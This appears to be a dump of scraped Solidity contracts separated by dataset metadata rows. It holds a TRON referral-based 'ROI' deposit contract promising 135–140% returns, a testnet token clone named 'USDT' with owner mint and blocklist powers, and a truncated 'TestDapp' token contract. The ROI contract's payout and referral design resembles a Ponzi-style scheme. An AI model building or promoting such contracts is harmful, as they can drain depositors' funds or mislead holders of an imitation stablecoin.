uint256 reinvested;
uint256 lastDepositeIndex;
DeposieLimit depositLimits;
}
struct DeposieLimit{
uint256 allowdDeposits;
uint256 lastCheckedDeposit;
uint256 nextWithdrawTime;
uint256 nextReinvestTime;
uint256 nextReinvestReferral;
}
address public owner;
uint256 public invested;
uint256 public withdrawn;
uint256 public users;
uint256 public reinvested;
uint256 constant public TIME_STEP = 1 days;//1 days for main
uint256 constant public PERCENTS_DIVIDER = 100000;
mapping(address=>uint256) public rewardDist;
uint256 constant public totalSeconds=86400;//totalSeconds=86400 for main
uint8[] public ref_bonuses; // 1 => 1%
Tarif public tarifs;
mapping(address => Player) public players;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event NewDeposit(address indexed addr, uint256 amount, uint8 tarif);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event Reinvest(address indexed addr, uint256 amount,bool flag);
constructor(address _stakingAddress,TRC20 _roiCityTokenAddress) public {
roiCityTokenAddress=_roiCityTokenAddress;
owner = _stakingAddress;
tarifs=Tarif(21, 135);
ref_bonuses.push(5);
ref_bonuses.push(3);
ref_bonuses.push(2);
ref_bonuses.push(1);
ref_bonuses.push(1);
}
function () external payable {}
function _payout(address _addr,bool isReinvest) private {
uint256 payout = (!isReinvest) ? this.payoutOfForWithdraw(_addr) : this.payoutOfReinvest(_addr);
if(payout > 0) {
if(isReinvest){
_updateTotalPayoutReinvest(_addr);
}
else
{
_updateTotalPayoutWithdraw(_addr);
}
players[_addr].dividends = players[_addr].dividends.add(payout);
}
}
function _updateTotalPayoutWithdraw(address _addr) private{
Player storage player = players[_addr];
uint256 percent=player.noOfInvestment>=7 ? 140 : tarifs.percent;
uint256 value=0;
for(uint256 i = 0; i < player.deposits.length; i++) {
value=0;
Deposit storage dep = player.deposits[i];
if(i<player.lastDepositeIndex){//if(dep.isWithdrawable || player.lastdepositeindex>i || _reinvest){
uint256 time_end = dep.time.add(tarifs.lifeDays.mul(totalSeconds));
uint256 from = dep.lastPayout > dep.time ? dep.lastPayout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value = dep.amount.mul((to.sub(from))).mul(percent).div(tarifs.lifeDays).div(totalSeconds.mul(100));
if(dep.time.add(tarifs.lifeDays.mul(totalSeconds))>uint256(block.timestamp)){
player.deposits[i].totalWithdraw=player.deposits[i].totalWithdraw.add(value);
}
else{
player.deposits[i].totalWithdraw=(dep.amount.mul(percent).div(100));
}
}
else{
player.deposits[i].totalWithdraw=(dep.amount.mul(percent).div(100));
}
player.deposits[i].lastPayout=uint256(block.timestamp);
}
}
}
function _updateTotalPayoutReinvest(address _addr) private{
Player storage player = players[_addr];
uint256 percent=player.noOfInvestment>=7 ? 140 : tarifs.percent;
uint256 value135=0;
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
uint256 time_end = dep.time.add(tarifs.lifeDays.mul(totalSeconds));
uint256 from = dep.lastPayout > dep.time ? dep.lastPayout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value135 = dep.amount.mul(to.sub(from)).mul(percent.sub(100)).div(tarifs.lifeDays).div(totalSeconds.mul(100));
player.deposits[i].totalWithdraw=player.deposits[i].totalWithdraw.add(value135);
player.deposits[i].lastPayout=uint256(block.timestamp);
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = players[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
uint256 bonus = _amount.mul(ref_bonuses[i]).div(100);
players[up].match_bonus = players[up].match_bonus.add(bonus);
players[up].total_match_bonus = players[up].total_match_bonus.add(bonus);
emit MatchPayout(up, _addr, bonus);
up = players[up].upline;
}
}
function _setUpline(address _addr, address _upline) private {
if(players[_addr].upline == address(0)) {
if(players[_upline].deposits.length == 0) {
_upline = owner;
}
players[_addr].depositLimits.allowdDeposits=2;
players[_addr].upline = _upline;
tokenTransfer(_addr,uint256(1).mul(1e13));
for(uint8 i = 0; i < ref_bonuses.length; i++) {
players[_upline].structure[i]++;
if(i==0 && players[_upline].structure[i]==35){
tokenTransfer(_upline,uint256(5).mul(1e14));
}
_upline = players[_upline].upline;
if(_upline == address(0)) break;
}
users++;
}
}
function sendRewards(uint256 amount) private{
uint256 rewards=0;
if(amount>=100 trx && amount<=500 trx){
rewards=uint256(1).mul(1e13);
}
else if(amount>500 trx && amount<=1000 trx){
rewards=uint256(5).mul(1e13);
}
else if(amount>1000 trx && amount<=5000 trx){
rewards=uint256(2).mul(1e14);
}
else if(amount>5000 trx && amount<=10000 trx){
rewards=uint256(1).mul(1e15);
}
else if(amount>10000 trx && amount<=50000 trx){
rewards=uint256(1).mul(1e16);
}
else if(amount>50000 trx && amount<=150000 trx){
rewards=uint256(5).mul(1e16);
}
else if(amount>150000 trx && amount<=250000 trx){
rewards=uint256(7).mul(1e16);
}
else if(amount>250000 trx && amount<=500000 trx){
rewards=uint256(1).mul(1e17);
}
else if(amount>500000 trx && amount<=750000 trx){
rewards=uint256(1).mul(1e18);
}
else if(amount>750000 trx && amount<=1000000 trx){
rewards=uint256(2).mul(1e18);
}
tokenTransfer(msg.sender,rewards);
}
function deposit(address _upline,bool isReinvest) public payable {
Player storage player = players[msg.sender];
uint amount=msg.value;
if(isReinvest && amount==0 && player.pending_withdrawl>0){
amount= player.pending_withdrawl;
player.pending_withdrawl=0;
reinvested=reinvested.add(amount);
player.reinvested = player.reinvested.add(amount);
}
if(!isReinvest){
require(amount >= 100 trx, "Min 100 Trx");
require(player.lastDepositeAmount<amount,"Trying to invest lower amount");
player.lastDepositeIndex=player.deposits.length;
_setUpline(msg.sender, _upline);
player.newDeposits.push(now.add(totalSeconds));
if(now>player.newDeposits[player.depositLimits.lastCheckedDeposit])
{
player.depositLimits.lastCheckedDeposit=player.depositLimits.lastCheckedDeposit.add(1);
player.depositLimits.allowdDeposits=player.depositLimits.allowdDeposits.add(1);
}
require(player.depositLimits.allowdDeposits>0,"Trying to invest lower amount");
player.lastDepositeAmount=msg.value;
player.noOfInvestment=players[msg.sender].noOfInvestment.add(1);
if(player.noOfInvestment==7){
tokenTransfer(msg.sender,uint256(5).mul(1e13));
}
sendRewards(msg.value);
player.total_invested = player.total_invested.add(amount);
invested = invested.add(amount);
player.depositLimits.allowdDeposits=player.depositLimits.allowdDeposits.sub(1);
}
player.deposits.push(Deposit({
amount: amount,
totalWithdraw: 0,
time: uint256(block.timestamp),
isWithdrawable:isReinvest,
endTime:uint256(block.timestamp).add(tarifs.lifeDays),
lastPayout:now
}));
if(!isReinvest){
//Referral distribution
_refPayout(msg.sender, amount);
owner.transfer(amount.mul(10).div(100));
if(rewardDist[msg.sender]==0 && player.total_invested>=1e11){//1e11
tokenTransfer(msg.sender,uint256(5).mul(1e16));
rewardDist[msg.sender]=1;
}
if(rewardDist[msg.sender]==1 && player.total_invested>=25e10){//25e10
tokenTransfer(msg.sender,uint256(1).mul(1e18));
rewardDist[msg.sender]=2;
}
}
emit NewDeposit(msg.sender, amount, 0);
}
function withdraw() payable external {
Player storage player = players[msg.sender];
require(now>player.depositLimits.nextWithdrawTime,"You can withdraw only once in day");
_payout(msg.sender,false);
require(player.dividends >= 10 trx, "Zero amount");
uint256 amount = player.dividends.add(player.pending_withdrawl);
player.dividends = 0;
player.total_withdrawn = player.total_withdrawn.add(amount);
withdrawn = withdrawn.add(amount);
if(msg.sender!=owner){
msg.sender.transfer(amount);
player.depositLimits.nextWithdrawTime=now.add(TIME_STEP);
emit Withdraw(msg.sender, amount);
}
else{
msg.sender.transfer(amount.add(player.match_bonus));
player.match_bonus=0;
emit Withdraw(msg.sender, amount);
}
}
function reinvestDividends() payable external {
require(now>players[msg.sender].depositLimits.nextReinvestTime,"You can reinvest only once in day");
Player storage player = players[msg.sender];
_payout(msg.sender,true);
require(player.dividends > 0 , "Zero amount");
uint256 amount = player.dividends;
player.dividends = 0;
player.pending_withdrawl=amount;
withdrawn = withdrawn.add(amount);
if(player.pending_withdrawl>0){
deposit(player.upline,true);
}
player.depositLimits.nextReinvestTime=now.add(TIME_STEP);
emit Reinvest(msg.sender, amount,true);
}
function reinvestRef() payable external {
require(now>players[msg.sender].depositLimits.nextReinvestReferral,"You can withdraw only once in day");
Player storage player = players[msg.sender];
require(player.match_bonus > 0, "Zero amount");
uint256 amount = player.match_bonus;
amount=amount;
player.match_bonus = 0;
player.pending_withdrawl=amount;
withdrawn = withdrawn.add(amount);
if(player.pending_withdrawl>0){
deposit(player.upline,true);
}
player.depositLimits.nextReinvestReferral=now.add(TIME_STEP);
emit Reinvest(msg.sender, amount,false);
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
uint256 percent=tarifs.percent;
if(player.noOfInvestment>=7){
percent=140;
}
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
uint256 time_end = dep.time.add(tarifs.lifeDays.mul(totalSeconds));
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(dep.time < to) {
value = value.add(dep.amount.mul((to.sub(dep.time))).mul(percent).div(tarifs.lifeDays).div(totalSeconds.mul(100)));
value= value.sub(dep.totalWithdraw);
}
}
return value;
}
function payoutOfReinvest(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
uint256 percent=tarifs.percent;
uint256 _35percent;
if(player.noOfInvestment>=7){
percent=140;
}
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
uint256 time_end = dep.time.add(tarifs.lifeDays.mul(totalSeconds));
uint256 from = dep.lastPayout > dep.time ? dep.lastPayout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
_35percent = (dep.amount.mul(to.sub(from)).mul(percent.sub(100)).div(tarifs.lifeDays).div(totalSeconds.mul(100)));
value=value.add(_35percent);
}
}
return value;
}
function payoutOfForWithdraw(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
uint256 percent=tarifs.percent;
uint256 _35percent;
if(player.noOfInvestment>=7){
percent=140;
}
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
if(i<player.lastDepositeIndex){//if(dep.isWithdrawable || player.lastdepositeindex>i)
uint256 time_end = dep.time.add(tarifs.lifeDays.mul(totalSeconds));
uint256 from = dep.lastPayout > dep.time ? dep.lastPayout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
_35percent = dep.amount.mul(to.sub(from)).mul(percent).div(tarifs.lifeDays).div(totalSeconds.mul(100));
if(dep.time.add(tarifs.lifeDays.mul(totalSeconds))>now){
value=value.add(_35percent);
}
else{
value=value.add((dep.amount.mul(percent).div(100)).sub(player.deposits[i].totalWithdraw));
}
}
else{
value=value.add((dep.amount.mul(percent).div(100)).sub(player.deposits[i].totalWithdraw));
}
}
}
return value;
}
function BalanceOfTokenInContract()public view returns (uint256){
return TRC20(roiCityTokenAddress).balanceOf(address(this));
}
function tokenTransfer(address to, uint256 _amount) internal {
uint256 defitokentestBal = BalanceOfTokenInContract();
_amount=_amount;
require(defitokentestBal >= _amount,"Token balance is low");
if(TRC20(roiCityTokenAddress).transfer(to, _amount))
{
}
else{
}
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_bonus, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[5] memory structure,
uint256 _nextWithdrawTime,uint256 _nextReinvestTime,uint256 _nextReinvestReferral,uint256 _allowedDeposits) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
structure[i] = player.structure[i];
}
return (payout.add(player.dividends).add(player.match_bonus),
player.match_bonus,
player.total_invested,
player.total_withdrawn,
player.total_match_bonus,
structure,
player.depositLimits.nextWithdrawTime,
player.depositLimits.nextReinvestTime,
player.depositLimits.nextReinvestReferral,
player.depositLimits.allowdDeposits);
}
function contractInfo() view external returns(uint256 _invested, uint256 _withdrawn) {
return (invested, withdrawn);
}
function investmentsInfo(address _addr) view external returns(uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory totalWithdraws,bool[] memory isActive,bool[] memory isReinvest) {
Player storage player = players[_addr];
uint256[] memory _endTimes = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _totalWithdraws = new uint256[](player.deposits.length);
bool[] memory _isActive = new bool[](player.deposits.length);
bool[] memory _isReinvest = new bool[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
_amounts[i] = dep.amount;
_totalWithdraws[i] = dep.totalWithdraw;
_endTimes[i] = dep.time.add(tarifs.lifeDays.mul(totalSeconds));
_isActive[i]=now>(dep.time.add(tarifs.lifeDays.mul(totalSeconds))) ? false : true;
_isReinvest[i]=dep.isWithdrawable;
}
return (_endTimes,
_amounts,
_totalWithdraws,
_isActive,
_isReinvest);
}
function getTRXBalance() public view returns(uint) {
return address(this).balance;
}
function seperatePayoutOf(address _addr) view external returns(uint256[] memory withdrawable) {
Player storage player = players[_addr];
uint256[] memory values = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
uint256 time_end = dep.time.add(tarifs.lifeDays.mul(totalSeconds));
uint256 from = dep.lastPayout > dep.time ? dep.lastPayout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
values[i] = dep.amount.mul(to.sub(from)).mul(tarifs.percent).div(tarifs.lifeDays).div((totalSeconds.mul(100)));
}
}
return values;
}
}
| 296,507 | 11,105 |
93a9759dcbb1e30c337a0bd1362081fddbe72f54d859b77d88a9760492800062
| 42,217 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ee/eed3d2decd5b88c2e2ee315db285e7c2ff7225e8_USDT.sol
| 4,822 | 19,109 |
// SPDX-License-Identifier: None
pragma solidity ^0.8.0;
library ECDSAUpgradeable {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
interface IERC20PermitUpgradeable {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract EIP712Upgradeable is Initializable {
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
library CountersUpgradeable {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
function __ERC20Permit_init(string memory name) internal initializer {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal initializer {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
contract WithBlockedList is OwnableUpgradeable {
modifier onlyNotBlocked() {
require(!isBlocked[_msgSender()], "Blocked: transfers are blocked for user");
_;
}
mapping (address => bool) public isBlocked;
function addToBlockedList (address _user) public onlyOwner {
isBlocked[_user] = true;
emit BlockPlaced(_user);
}
function removeFromBlockedList (address _user) public onlyOwner {
isBlocked[_user] = false;
emit BlockReleased(_user);
}
event BlockPlaced(address indexed _user);
event BlockReleased(address indexed _user);
}
contract USDT is Initializable, ERC20PermitUpgradeable, OwnableUpgradeable, WithBlockedList {
mapping(address => bool) public isTrusted;
uint8 private tetherDecimals;
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals) public initializer {
tetherDecimals = _decimals;
__Ownable_init();
__ERC20_init(_name, _symbol);
__ERC20Permit_init(_name);
}
function decimals() public view virtual override returns (uint8) {
return tetherDecimals;
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256) {
if (isTrusted[_spender]) {
return 2**256 - 1;
}
return super.allowance(_owner, _spender);
}
function transfer(address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
return super.transfer(_recipient, _amount);
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
require(!isBlocked[_sender]);
if (isTrusted[_recipient]) {
_transfer(_sender, _recipient, _amount);
return true;
}
return super.transferFrom(_sender, _recipient, _amount);
}
function multiTransfer(address[] memory _recipients, uint256[] memory _values) public onlyNotBlocked {
require(_recipients.length == _values.length , "ERC20: multiTransfer mismatch");
for (uint256 i = 0; i < _recipients.length; i++) {
transfer(_recipients[i], _values[i]);
}
}
function addPrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = true;
emit NewPrivilegedContract(_trustedDeFiContract);
}
function removePrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = false;
emit RemovedPrivilegedContract(_trustedDeFiContract);
}
function mint(address _destination, uint256 _amount) public onlyOwner {
_mint(_destination, _amount);
emit Mint(_destination, _amount);
}
function redeem(uint256 _amount) public onlyOwner {
_burn(owner(), _amount);
emit Redeem(_amount);
}
function destroyBlockedFunds (address _blockedUser) public onlyOwner {
require(isBlocked[_blockedUser]);
uint blockedFunds = balanceOf(_blockedUser);
_burn(_blockedUser, blockedFunds);
emit DestroyedBlockedFunds(_blockedUser, blockedFunds);
}
event NewPrivilegedContract(address indexed _contract);
event RemovedPrivilegedContract(address indexed _contract);
event Mint(address indexed _destination, uint _amount);
event Redeem(uint _amount);
event DestroyedBlockedFunds(address indexed _blockedUser, uint _balance);
}
| 105,209 | 11,106 |
77e4929c09ed34588b2aa107819be10a91c28ed79310224ebb8cebc9309b993a
| 19,381 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJ1kEYkEqgXQaHeMyoUSLotKQ6xe4tX8Y3_TestDapp.sol
| 5,079 | 17,445 |
//SourceUnit: test1.sol
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract TestDapp is Ownable{
using SafeMath for uint256;
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingTron,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 tronEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 tronReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 tronWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "TestDapp";
string public symbol = "Test";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 41;
uint8 constant internal transferFee_ = 1;
uint8 constant internal ExitFee_ = 33;
uint8 constant internal refferalFee_ = 10;
uint8 constant internal DevFee_ = 15;
uint8 constant internal OldDappFeed_ = 2;
uint8 constant internal DailyInterest_ = 75;
uint8 constant internal IntFee_ = 45;
uint256 public InterestPool_ = 0;
uint256 constant internal tokenPriceInitial_ = 3;
uint256 constant internal tokenPriceIncremental_ = 1;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 22000e18;
uint256 public launchtime = 1572967800;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
address dev = owner;
address feed = owner; // The money sent to this address will feed the previous dapp - ETH Exchange.
function buy(address _referredBy) public payable returns (uint256) {
require(now >= launchtime);
